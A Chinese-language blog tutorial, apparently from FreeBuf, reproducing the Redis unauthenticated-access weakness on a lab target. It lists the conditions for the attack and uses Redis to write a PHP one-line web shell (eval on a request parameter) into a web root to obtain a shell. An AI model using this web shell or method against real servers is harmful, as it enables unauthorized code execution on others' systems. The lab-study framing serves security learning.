小呆呀
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0x01 redis是什么?
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。这些是百度上的说法。其实就可以把它理解是一种数据库就行了
0x02 漏洞利用条件:
1.Redis服务,采用的是默认端口。并且没用添加什么防火墙策略。比如说什么非信任来源IP地址访问之类的。
2.我们可以在公网上能访问的到这个服
3.没用设置密码认证,或者我们知道该数据库发密码,同时可以远程登录。
4.对方redis最好是root身份运行的不然可能后期有概率执行不成功
0x03漏洞复现:
1.首先我们得安装这个服务(在靶机Linux中),
2.wget http://download.redis.io/releases/redis-2.8.17.tar.gz
3.安装好之后解压tar -vxzf redis-2.8.17.tar.gz
4.make先编译,可能会报错。因为没有C的环境。如果没有那么装呗(yum install -y gcc -c++)
5.cd /redis-2.8.17/src
6.make MALLOC=libc
7.查看这个下面文件是否有redis-server直接运行。
8.运行服务
如果看到下面这个图案则表示这个服务成功启动了。
9.如果有redis服务直接跳过之前的服务。不过最好是默认的配置方便实验嘛。如果不是,只要满足之前漏洞的条件就行了。
10.使用REDISDESKTOPMANAGER软件连接对方数据库redis(这里用Windows系统连接靶机的,靶机为Linux系统)
11.连接redis数据库。
先测试与靶机是否网络连通:明显我们是连通的。
然后我们打开RESP这个软件,输入对方的地址。然后直接确定就好了。因为如果对方没用设置密码默认是没用密码的。然后出现下面的画面就表示连接成功了。然后我们可以打开终端了。点箭头指向的那个按钮就行了。
12.然后我们使用命令设置web写入路径,设置写入文件名,然后设置写入代码,然后保存。
我们这里写入代码最好,设置写入代码设置为。
Set test"\r\n\r\n<?php eval($_REQUEST[pass]); ?>\r\n\r\n"
用redis写入文件的会自带一些版本信息,所以可能会导致这个木马无法被执行。
13.查看是否真的写入redis数据库文件里面了。我们验证一下
14.拿下webshell,如果我们知道网站的根目录
下面的截图是直接写入网站根目录下的。
我们可以从下面的图片看到,网站的根目录下我们是没用写权限的。但是我们通过数据库服务成功写入文件。
15.测试木马连接成功getshell:
成功从数据库权限,提权到网站权限了。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
